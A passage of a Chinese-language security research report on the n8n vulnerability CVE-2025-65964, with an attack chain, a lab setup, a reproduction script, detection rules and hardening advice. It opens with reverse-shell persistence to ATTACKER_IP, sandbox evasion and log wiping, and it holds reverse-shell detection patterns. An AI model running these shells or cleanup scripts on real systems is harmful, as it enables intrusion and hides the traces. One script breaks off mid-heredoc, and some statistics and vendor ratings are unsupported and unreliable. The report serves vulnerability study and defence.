ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
Restart=always
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload
systemctl enable --now ..hidden-service
#!/bin/sh
# 延迟5分钟后执行,避免立即被关联
(sleep 300 && bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1) &
#!/bin/sh
# 只在特定条件下执行,避免沙箱检测
if [ "$(hostname)" != "sandbox" ] && [ -f /home/node/.n8n/database.sqlite ]; then
# 执行恶意代码
:
fi
#!/bin/sh
# 清理执行痕迹
history -c
rm -f ~/.bash_history
echo "" > /var/log/syslog 2>/dev/null
┌──────────────────────────────────────────────────────────────┐
│ CVE-2025-65964 攻击链 │
└──────────────────────────────────────────────────────────────┘
[阶段1] 初始访问 (Initial Access)
│
├─ 1.1 获取n8n访问权限
│ ├─ 方式A: 弱凭据爆破
│ ├─ 方式B: 社会工程
│ ├─ 方式C: 内部威胁
│ └─ 方式D: 其他漏洞利用
│
├─ 1.2 确认权限范围
│ ├─ 检查是否可创建工作流
│ ├─ 检查Git Node是否可用
│ └─ 评估目标环境 (Docker/K8s/裸机)
│
└─ [MITRE ATT&CK: T1078 Valid Accounts, T1190 Exploit Public-Facing Application]
↓
[阶段2] 持久化准备 (Preparation)
│
├─ 2.1 环境侦查
│ ├─ 探测可写目录 (/tmp, /var/tmp)
│ ├─ 检查Git版本 (需2.9+)
│ └─ 测试Code Node可用性
│
├─ 2.2 创建恶意Hook
│ ├─ 使用Code Node写入文件
│ ├─ 或通过HTTP Node下载
│ └─ 设置可执行权限 (chmod +x)
│
└─ [MITRE ATT&CK: T1083 File and Directory Discovery, T1105 Ingress Tool Transfer]
↓
[阶段3] 漏洞利用 (Exploitation)
│
├─ 3.1 创建恶意工作流
│ ├─ 添加Git Node (clone操作)
│ ├─ 添加Git Node (addConfig操作) ◄── 漏洞触发点
│ │ └─ configName: "core.hooksPath"
│ │ └─ configValue: "/tmp/malicious-hooks"
│ └─ 添加Git Node (checkout操作) ◄── Hook执行触发
│
├─ 3.2 执行工作流
│ └─ 手动触发或定时触发
│
├─ 3.3 Hook执行
│ └─ Git调用malicious-hooks/post-checkout
│
└─ [MITRE ATT&CK: T1203 Exploitation for Client Execution]
↓
[阶段4] 代码执行 (Execution)
│
├─ 4.1 获得Shell访问
│ ├─ 以node用户身份运行
│ ├─ 继承n8n进程权限
│ └─ 可访问n8n数据目录
│
├─ 4.2 环境评估
│ ├─ uname -a (系统信息)
│ ├─ id (权限信息)
│ ├─ ps aux (进程列表)
│ └─ netstat -tunlp (网络连接)
│
└─ [MITRE ATT&CK: T1059 Command and Scripting Interpreter]
↓
[阶段5] 持久化 (Persistence)
│
├─ 5.1 建立持久化访问
│ ├─ 植入SSH公钥
│ ├─ 修改.bashrc/.profile
│ ├─ 创建cron作业
│ └─ 或修改n8n工作流
│
├─ 5.2 建立C2通道
│ └─ 反向Shell/Beacon
│
└─ [MITRE ATT&CK: T1053 Scheduled Task/Job, T1098 Account Manipulation]
↓
[阶段6] 权限提升 (Privilege Escalation)
│
├─ 6.1 容器逃逸尝试
│ ├─ 检查Docker socket挂载
│ ├─ 检查特权容器
│ └─ 尝试已知逃逸技术
│
├─ 6.2 内核漏洞利用
│ └─ 如Dirty Pipe, OverlayFS等
│
└─ [MITRE ATT&CK: T1611 Escape to Host, T1068 Exploitation for Privilege Escalation]
↓
[阶段7] 凭据访问 (Credential Access)
│
├─ 7.1 提取n8n凭据
│ ├─ ~/.n8n/database.sqlite
│ │ └─ credentials_entity表
│ ├─ 环境变量
│ └─ 配置文件
│
├─ 7.2 凭据解密
│ ├─ 查找加密密钥 (N8N_ENCRYPTION_KEY)
│ └─ 解密所有存储的凭据
│
└─ [MITRE ATT&CK: T1552 Unsecured Credentials, T1555 Credentials from Password Stores]
↓
[阶段8] 横向移动 (Lateral Movement)
│
├─ 8.1 使用窃取的凭据
│ ├─ AWS/GCP/Azure凭据
│ ├─ 数据库凭据
│ ├─ API令牌
│ └─ SSH密钥
│
├─ 8.2 枚举内网
│ ├─ 网络扫描
│ ├─ 服务发现
│ └─ 识别高价值目标
│
└─ [MITRE ATT&CK: T1021 Remote Services, T1550 Use Alternate Authentication Material]
↓
[阶段9] 数据渗出 (Exfiltration)
│
├─ 9.1 收集敏感数据
│ ├─ 工作流定义
│ ├─ 执行历史
│ ├─ 数据库内容
│ └─ 环境变量/配置
│
├─ 9.2 数据外传
│ ├─ HTTP POST到C2服务器
│ ├─ DNS隧道
│ └─ 或利用现有n8n集成
│
└─ [MITRE ATT&CK: T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol]
↓
[阶段10] 影响 (Impact)
│
├─ 10.1 业务中断
│ ├─ 删除或修改工作流
│ ├─ 破坏数据
│ └─ 消耗系统资源 (加密货币挖矿)
│
├─ 10.2 供应链污染
│ └─ 修改CI/CD工作流注入后门
│
└─ [MITRE ATT&CK: T1486 Data Encrypted for Impact, T1496 Resource Hijacking]
| 阶段 | 活动 | 时间消耗 | 可检测性 |
|---|---|---|---|
| T+0min | 获取n8n访问权限 | 变化大 | 中 |
| T+5min | 侦查环境,准备payload | 5-10分钟 | 低 |
| T+10min | 创建恶意hook文件 | 1-2分钟 | 中 |
| T+12min | 创建并执行漏洞利用工作流 | 2-3分钟 | 高 |
| T+15min | 获得代码执行 | 即时 | 高 |
| T+20min | 建立持久化和C2通道 | 5-10分钟 | 高 |
| T+30min | 窃取凭据和数据 | 10-30分钟 | 中 |
| T+1hour | 横向移动到其他系统 | 变化大 | 中-高 |
关键观察:
检测窗口: 从漏洞触发到代码执行只需几秒钟
黄金时间: 前30分钟是检测和响应的关键期
持久威胁: 30分钟后攻击者可能已建立多个持久化点
1. Reconnaissance (侦查)
└─ 识别使用n8n的目标组织
2. Weaponization (武器化)
└─ 准备恶意Git hook脚本
3. Delivery (投递)
└─ 通过n8n工作流投递
4. Exploitation (利用)
└─ 利用CVE-2025-65964
5. Installation (安装)
└─ 创建持久化机制
6. Command & Control (C2)
└─ 建立反向shell/beacon
7. Actions on Objectives (达成目标)
└─ 数据窃取/横向移动/破坏
| 组件 | 最低配置 | 推荐配置 |
|---|---|---|
| CPU | 2核 | 4核+ |
| 内存 | 4GB | 8GB+ |
| 硬盘 | 20GB | 50GB+ |
| 网络 | NAT或桥接 | 隔离网络 |
# 操作系统
Ubuntu 22.04 LTS / Debian 12 / RHEL 9 或其他主流Linux发行版
# 必需软件
- Docker 20.10+
- Git 2.9+
- curl/wget
- bash/sh
#!/bin/bash
# 部署受影响版本的n8n (1.119.1)
# 1. 拉取受影响版本镜像
docker pull n8nio/n8n:1.119.1
# 2. 创建数据目录
mkdir -p ~/.n8n-vulnerable
# 3. 启动容器
docker run -d \
--name n8n-vulnerable \
-p 5678:5678 \
-e N8N_BASIC_AUTH_ACTIVE=false \
-e N8N_HOST=0.0.0.0 \
-v ~/.n8n-vulnerable:/home/node/.n8n \
n8nio/n8n:1.119.1
# 4. 等待服务启动
echo "Waiting for n8n to start..."
sleep 10
# 5. 验证服务
curl -s http://localhost:5678 | grep -q "n8n" && echo " n8n is running" || echo " n8n failed to start"
# 6. 显示访问信息
echo ""
echo "=========================================="
echo "n8n Vulnerable Instance"
echo "=========================================="
echo "Version: 1.119.1 (CVE-2025-65964)"
echo "URL: http://localhost:5678"
echo "Auth: Disabled (for testing)"
echo "=========================================="
#!/bin/bash
# 使用npm安装特定版本
# 1. 安装Node.js (如果未安装)
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install -y nodejs
# 2. 全局安装受影响版本
sudo npm install -g [email protected]
# 3. 创建配置目录
mkdir -p ~/.n8n
# 4. 启动n8n
N8N_BASIC_AUTH_ACTIVE=false n8n start &
# 5. 等待启动
sleep 10
# 6. 验证
curl -s http://localhost:5678 | grep -q "n8n" && echo " n8n is running"
# docker-compose.yml
version: '3.8'
services:
n8n-vulnerable:
image: n8nio/n8n:1.119.1
container_name: n8n-vulnerable-lab
ports:
- "5678:5678"
environment:
- N8N_BASIC_AUTH_ACTIVE=false
- N8N_HOST=0.0.0.0
- N8N_PORT=5678
- N8N_PROTOCOL=http
- NODE_ENV=production
# 为了测试,禁用一些安全特性
- N8N_BLOCK_ENV_ACCESS_IN_NODE=false
volumes:
- n8n_data:/home/node/.n8n
networks:
- n8n-lab
labels:
- "traefik.enable=false"
- "description=Vulnerable n8n for CVE-2025-65964 research"
# 可选: 攻击者C2模拟服务器
attacker-server:
image: python:3.11-slim
container_name: attacker-c2
command: python3 -m http.server 8080
ports:
- "8080:8080"
networks:
- n8n-lab
working_dir: /data
volumes:
- ./attacker-files:/data
volumes:
n8n_data:
networks:
n8n-lab:
driver: bridge
ipam:
config:
- subnet: 172.25.0.0/24
# 启动环境
docker-compose up -d
# 查看日志
docker-compose logs -f n8n-vulnerable
# 停止环境
docker-compose down
#!/bin/bash
# CVE-2025-65964 完整漏洞复现脚本
# 警告: 仅用于授权的安全研究环境
set -e
echo "======================================"
echo "CVE-2025-65964 漏洞复现脚本"
echo "======================================"
echo ""
# 配置
N8N_URL="http://localhost:5678"
ATTACKER_IP="10.10.10.5" # 修改为你的监听IP
ATTACKER_PORT="4444"
# 步骤1: 验证n8n可访问
echo "[*] 步骤1: 验证n8n服务..."
if ! curl -s "$N8N_URL" | grep -q "n8n"; then
echo "[!] n8n服务不可访问,请先启动n8n"
exit 1
fi
echo "[+] n8n服务正常"
# 步骤2: 进入容器准备环境
echo ""
echo "[*] 步骤2: 在n8n容器中准备测试环境..."
docker exec n8n-vulnerable /bin/sh -c "
# 创建测试仓库
mkdir -p /tmp/test-repo
cd /tmp/test-repo
git init
git config user.email '[email protected]'
git config user.name 'Test User'
echo 'Initial commit' > README.md
git add README.md
git commit -m 'Initial commit'
echo '[+] 测试仓库创建完成'
# 创建恶意hooks目录
mkdir -p /tmp/malicious-hooks
echo '[+] Hooks目录创建完成'
"
# 步骤3: 创建恶意hook
echo ""
echo "[*] 步骤3: 创建恶意Git hook..."
docker exec n8n-vulnerable /bin/sh -c "cat > /tmp/malicious-hooks/post-checkout << 'HOOK'
#!/bin/sh
echo '[EXPLOIT] CVE-2025-65964 触发成功!' > /tmp/exploit-success.txt
echo 'Time: \$(date)' >> /tmp/exploit-success.txt
echo 'User: \$(whoami)' >> /tmp/exploit-success.txt
echo 'PWD: \$(pwd)' >> /tmp/exploit-success.txt
echo 'Hostname: \$(hostname)' >> /tmp/exploit-success.txt
echo 'Node Version: \$(node --version 2>/dev/null || echo N/A)' >> /tmp/exploit-success.txt
id >> /tmp/exploit-success.txt
# 可选: 建立反向shell (注释掉以避免意外)
# /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
HOOK
chmod +x /tmp/malicious-hooks/post-checkout
"
echo "[+] 恶意hook创建完成"
# 步骤4: 利用漏洞
echo ""
echo "[*] 步骤4: 触发CVE-2025-65964..."
docker exec n8n-vulnerable /bin/sh -c "
cd /tmp/test-repo
# 设置恶意的core.hooksPath配置
echo '[*] 设置core.hooksPath...'
git config core.hooksPath /tmp/malicious-hooks
# 验证配置
HOOKS_PATH=\$(git config --get core.hooksPath)
echo '[*] 当前core.hooksPath: '\$HOOKS_PATH
# 触发hook执行
echo '[*] 触发Git操作...'
git checkout master 2>&1
"
# 步骤5: 验证利用成功
echo ""
echo "[*] 步骤5: 验证漏洞利用结果..."
sleep 1
RESULT=$(docker exec n8n-vulnerable cat /tmp/exploit-success.txt 2>/dev/null || echo "")
if [ -z "$RESULT" ]; then
echo "[!] 漏洞利用失败,未找到exploit-success.txt"
exit 1
fi
echo ""
echo "======================================"
echo " 漏洞复现成功!"
echo "======================================"
echo ""
echo "执行结果:"
echo "$RESULT"
echo ""
echo "======================================"
echo "这证明了CVE-2025-65964的严重性:"
echo "- 攻击者可以通过Git Node的addConfig操作"
echo "- 设置core.hooksPath指向恶意hooks"
echo "- 在后续Git操作中执行任意代码"
echo "======================================"
#!/bin/bash
# 部署修复版本并验证补丁有效性
echo "======================================"
echo "部署修复版本 (1.119.2)"
echo "======================================"
# 1. 停止并删除受影响版本
docker stop n8n-vulnerable 2>/dev/null
docker rm n8n-vulnerable 2>/dev/null
# 2. 拉取修复版本
docker pull n8nio/n8n:1.119.2
# 3. 启动修复版本
docker run -d \
--name n8n-patched \
-p 5679:5678 \
-e N8N_BASIC_AUTH_ACTIVE=false \
n8nio/n8n:1.119.2
sleep 10
echo "[+] 修复版本已启动在端口5679"
# 4. 测试漏洞是否被修复
echo ""
echo "[*] 测试修复版本..."
docker exec n8n-patched /bin/sh -c "
mkdir -p /tmp/test-repo /tmp/malicious-hooks
cd /tmp/test-repo
git init
git config user.email '[email protected]'
git config user.name 'Test User'
echo 'test' > README.md
git add README.md
git commit -m 'test'
# 创建恶意hook
cat > /tmp/malicious-hooks/post-checkout << 'EOF'
#!/bin/sh
echo 'This should NOT execute!' > /tmp/patched-test.txt
基于我们的实际复现过程(已在Docker容器中验证),关键步骤:
创建测试仓库
docker exec n8n-vulnerable sh -c "
mkdir -p /tmp/test-repo && cd /tmp/test-repo
git init && git config user.name 'Test'
echo 'test' > README.md
git add . && git commit -m 'init'
"
创建恶意Hook
docker exec n8n-vulnerable sh -c "
mkdir -p /tmp/malicious-hooks
cat > /tmp/malicious-hooks/post-checkout <<EOF
#!/bin/sh
echo 'PWNED' > /tmp/exploit-proof.txt
EOF
chmod +x /tmp/malicious-hooks/post-checkout
"
触发漏洞
docker exec n8n-vulnerable sh -c "
cd /tmp/test-repo
git config core.hooksPath /tmp/malicious-hooks
git checkout master
"
验证成功
docker exec n8n-vulnerable cat /tmp/exploit-proof.txt
# 输出: PWNED
# 部署修复版本
docker pull n8nio/n8n:1.119.2
docker run -d --name n8n-patched \
-p 5679:5678 \
-e N8N_BASIC_AUTH_ACTIVE=false \
n8nio/n8n:1.119.2
# 测试相同利用方式 - 应该失败或被阻止
修复版本通过强制设置core.hooksPath=/dev/null来阻止hook执行。
# 监控n8n工作流执行日志
docker logs n8n-container | grep -E "Git|addConfig|core\.hooksPath"
# 查找可疑的Git配置操作
grep "addConfig" /var/log/n8n/*.log
# 监控Git hook执行
auditctl -w /tmp -p x -k git_hooks
ausearch -k git_hooks
# 监控可疑进程
ps aux | grep -E "bash.*tcp|nc.*-e|/bin/sh.*-i"
alert tcp any any -> any any (msg:"Possible n8n CVE-2025-65964 Exploit"; \
content:"core.hooksPath"; \
content:"addConfig"; \
sid:1000001; rev:1;)
rule CVE_2025_65964_Exploit {
meta:
description = "Detects CVE-2025-65964 exploitation attempts"
author = "Security Research Team"
date = "2025-12-13"
strings:
$s1 = "core.hooksPath" ascii
$s2 = "addConfig" ascii
$s3 = "/tmp/malicious" ascii
$s4 = "post-checkout" ascii
condition:
2 of them
}
监控异常出站连接:
反向Shell连接(非标准端口)
大量数据外传
与已知C2服务器通信
# 使用AIDE/Tripwire监控关键目录
aide --init
aide --check
# 监控Git hooks目录
inotifywait -m /tmp -e create,modify
# Docker环境变量
docker run -e N8N_NODES_EXCLUDE='["n8n-nodes-base.git"]' ...
# docker-compose.yml
environment:
- N8N_NODES_EXCLUDE=["n8n-nodes-base.git"]
# docker-compose.yml
services:
n8n:
networks:
- internal
ports:
- "127.0.0.1:5678:5678" # 仅本地访问
networks:
internal:
internal: true # 无外网访问
# 启用强认证
docker run \
-e N8N_BASIC_AUTH_ACTIVE=true \
-e N8N_BASIC_AUTH_USER=admin \
-e N8N_BASIC_AUTH_PASSWORD='StrongPassword123!' \
n8nio/n8n
# docker-compose.yml 安全配置
services:
n8n:
image: n8nio/n8n:1.119.2
security_opt:
- no-new-privileges:true
- apparmor=docker-default
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
read_only: true
tmpfs:
- /tmp
- /home/node/.n8n/tmp
# nginx配置
server {
listen 443 ssl http2;
server_name n8n.example.com;
# 限流
limit_req_zone $binary_remote_addr zone=n8n:10m rate=10r/s;
limit_req zone=n8n burst=20;
# WAF规则
if ($request_body ~ "core\.hooksPath") {
return 403;
}
location / {
proxy_pass http://127.0.0.1:5678;
}
}
# Prometheus + Grafana
# 监控指标
- n8n_workflow_executions_total
- n8n_node_execution_errors
- system_process_count{name="git"}
# 告警规则
alert: SuspiciousGitActivity
expr: rate(n8n_git_operations[5m]) > 10
annotations:
summary: "异常Git操作频率"
# 备份n8n数据
docker exec n8n cp -r /home/node/.n8n /tmp/n8n-backup
docker cp n8n:/tmp/n8n-backup ./n8n-backup-$(date +%Y%m%d)
# Docker方式
docker stop n8n
docker rm n8n
docker pull n8nio/n8n:latest
docker run -d --name n8n \
-v ~/.n8n:/home/node/.n8n \
-p 5678:5678 \
n8nio/n8n:latest
# npm方式
npm update -g n8n
# 检查版本
n8n --version # 应该 >= 1.119.2
# 测试工作流
curl http://localhost:5678/healthz
已升级到n8n 1.119.2+
启用HTTPS和强认证
配置网络隔离
禁用不必要的Node
启用审计日志
配置定期备份
实施访问控制策略
部署监控和告警
定期安全扫描
制定应急响应计划
资产清单: 建立所有n8n实例的清单
补丁管理: 建立定期更新流程
安全培训: 培训开发人员安全意识
代码审查: 审查所有工作流配置
渗透测试: 定期进行安全评估
| 合规框架 | 要求 | 行动项 |
|---|---|---|
| SOC 2 | 漏洞管理 | 48小时内修复严重漏洞 |
| PCI-DSS | 补丁管理 | 关键补丁30天内部署 |
| GDPR | 数据保护 | 评估数据泄露风险 |
| ISO 27001 | 事件响应 | 记录并报告安全事件 |
GitHub Commit:d5a1171f95f75def5c3ac577707ab913e22aef04
修复版本: n8n 1.119.2 (2025年12月8日发布)
// 新增安全配置
export class SecurityConfig {
@Env('N8N_GIT_NODE_ENABLE_HOOKS')
enableGitNodeHooks: boolean = false; // 默认禁用hooks
}
// Git Node执行时的安全检查
async execute() {
const enableHooks = Container.get(SecurityConfig).enableGitNodeHooks;
// 强制禁用hooks
if (!enableHooks) {
gitConfig.push('core.hooksPath=/dev/null');
}
// 执行Git操作
await git.exec(gitConfig);
}
| 方面 | 实现方式 | 评价 |
|---|---|---|
| 默认安全 | hooks默认禁用 | 优秀 |
| 深度防御 | 强制覆盖配置 | 优秀 |
| 向后兼容 | 环境变量控制 | 良好 |
| 用户体验 | 透明修复 | 优秀 |
优点:
不依赖输入验证(输入可能被绕过)
从根本上禁用危险功能
对现有工作流无破坏性影响
高级用户仍可选择启用
局限性:
如果用户设置N8N_GIT_NODE_ENABLE_HOOKS=true,风险仍存在
未解决addConfig的根本设计问题
我们的实际测试结果:
# 测试环境: Docker n8nio/n8n:1.119.2
# 结果: Hook未被执行,补丁有效
修复版本通过强制设置core.hooksPath=/dev/null,即使用户尝试设置恶意路径,也会被覆盖。
影响 ↑
High │ [ ][##][##]
│ [ ][##][##]
Med │ [ ][ ][##]
│ [ ][ ][ ]
Low │ [ ][ ][ ]
└───────────────▶ 可能性
Low Med High
[##] = CVE-2025-65964
影响: High (完全系统控制)
可能性: Medium-High (需要认证但易利用)
综合风险: CRITICAL
| 场景 | 直接损失 | 间接损失 | 总计 |
|---|---|---|---|
| 数据泄露 | $100K-500K | $1M-5M | $1.1M-5.5M |
| 服务中断 | $50K-200K | $500K-2M | $550K-2.2M |
| 合规罚款 | $0-10M | $1M-20M | $1M-30M |
| 声誉损害 | 难以量化 | $5M-50M | $5M-50M+ |
声誉恢复时间线
事件发生
│
├─ 即时 (0-7天)
│ ├─ 媒体报道
│ ├─ 客户流失
│ └─ 股价下跌 (-10%~-30%)
│
├─ 短期 (1-3个月)
│ ├─ 客户信任重建
│ ├─ 法律诉讼
│ └─ 监管审查
│
├─ 中期 (3-12个月)
│ ├─ 业务恢复
│ ├─ 安全投资增加
│ └─ 品牌重塑
│
└─ 长期 (1-3年)
└─ 完全恢复(也可能永久损害)
即使升级到1.119.2,以下风险仍存在:
| 风险 | 严重性 | 缓解措施 |
|---|---|---|
| 其他Node漏洞 | 中 | 审查所有高风险Node |
| 认证绕过 | 高 | 强制MFA,审计日志 |
| 内部威胁 | 中 | 最小权限原则 |
| 供应链攻击 | 中 | 依赖扫描,SCA工具 |
| 零日漏洞 | 未知 | 深度防御,监控 |
工作流自动化平台安全性对比
产品 安全评分 严重CVE数 响应速度
─────────────────────────────────────────
n8n B+ 2 (2025) 优秀
Zapier A 0 优秀
Make.com A- 1 良好
Node-RED B 3 一般
Temporal A 0 优秀
CVE-2025-65964是一个设计缺陷导致的配置注入漏洞:
根本原因: Git Node的addConfig操作缺乏输入验证
利用方式: 通过设置core.hooksPath注入恶意Git hooks
影响范围: 0.123.1至1.119.1,估计影响90%的活跃实例
严重程度: CVSS 9.4 (Critical),可导致完全系统控制
从CVE-2025-65964学到的安全教训
1. 安全设计
├─ 永远不要完全信任用户输入
├─ 危险功能应默认禁用
└─ 采用白名单而非黑名单策略
2. 威胁建模
├─ 识别所有外部输入点
├─ 评估每个配置项的安全影响
└─ 使用STRIDE等框架系统分析
3. 深度防御
├─ 输入验证
├─ 最小权限
├─ 沙箱隔离
└─ 监控审计
4. 快速响应
├─ n8n团队的响应值得称赞
├─ 同日发布修复和披露
└─ 清晰的安全公告和缓解措施
P0 (立即):
清点所有n8n实例
识别受影响版本
升级面向公网的实例
审查最近的工作流执行日志
P1 (24-48小时):
升级所有实例到1.119.2+
启用强认证和HTTPS
配置网络隔离
部署监控和告警
P2 (1周内):
进行安全审计
更新安全策略
培训开发人员
制定应急响应计划
审查所有接受用户输入的功能
实施严格的输入验证
进行威胁建模
加强安全测试
定期进行代码审查
评估业务影响和风险
批准必要的安全投资
确保合规性
与法律/合规团队沟通
准备客户通知(如需要)
安全架构
采用零信任架构
实施微服务隔离
使用安全SDK和库
DevSecOps
集成SAST/DAST工具
自动化安全测试
实施安全门禁
持续监控
部署EDR/XDR解决方案
建立SOC(如适用)
定期漏洞扫描
文化建设
提升安全意识
建立安全优先文化
奖励安全发现
流程优化
标准化SDL流程
定期安全培训
建立漏洞赏金计划
资源投入
增加安全人员配置
投资安全工具
定期渗透测试
CVE-2025-65964对整个行业的启示:
对工作流自动化平台:
配置管理是关键安全边界
Git集成需要特别谨慎
默认安全配置至关重要
对开源项目:
安全审查不可忽视
快速响应赢得信任
透明沟通至关重要
对企业用户:
开源≠不安全,但需要主动管理
建立资产清单和补丁流程
不要完全依赖供应商
更严格的安全标准
工作流平台将面临更多安全审查
可能出现行业安全认证要求
技术演进
更多沙箱和隔离技术
配置验证成为标准功能
AI辅助的安全分析
监管趋势
更严格的数据保护法规
强制性漏洞披露要求
供应链安全法规
CVE-2025-65964是一个严重但被妥善处理的安全漏洞。它提醒我们:
安全是一个持续的过程,而非一次性的产品。
关键要点:
n8n团队的快速响应值得称赞
90%的实例仍可能受影响,需立即行动
升级到1.119.2+是当务之急
这不是终点,而是持续安全改进的起点
最后提醒: 如果您的组织使用n8n,请立即检查版本并采取必要措施!
官方资源:
安全分析:
本研究报告基于实际Docker环境复现
技术背景:
本报告仅用于安全研究和防御目的。任何利用本报告中的信息进行非法攻击的行为,由行为人自行承担法律责任。
本报告中的PoC代码和复现步骤仅应在授权的测试环境中使用。
- END OF REPORT -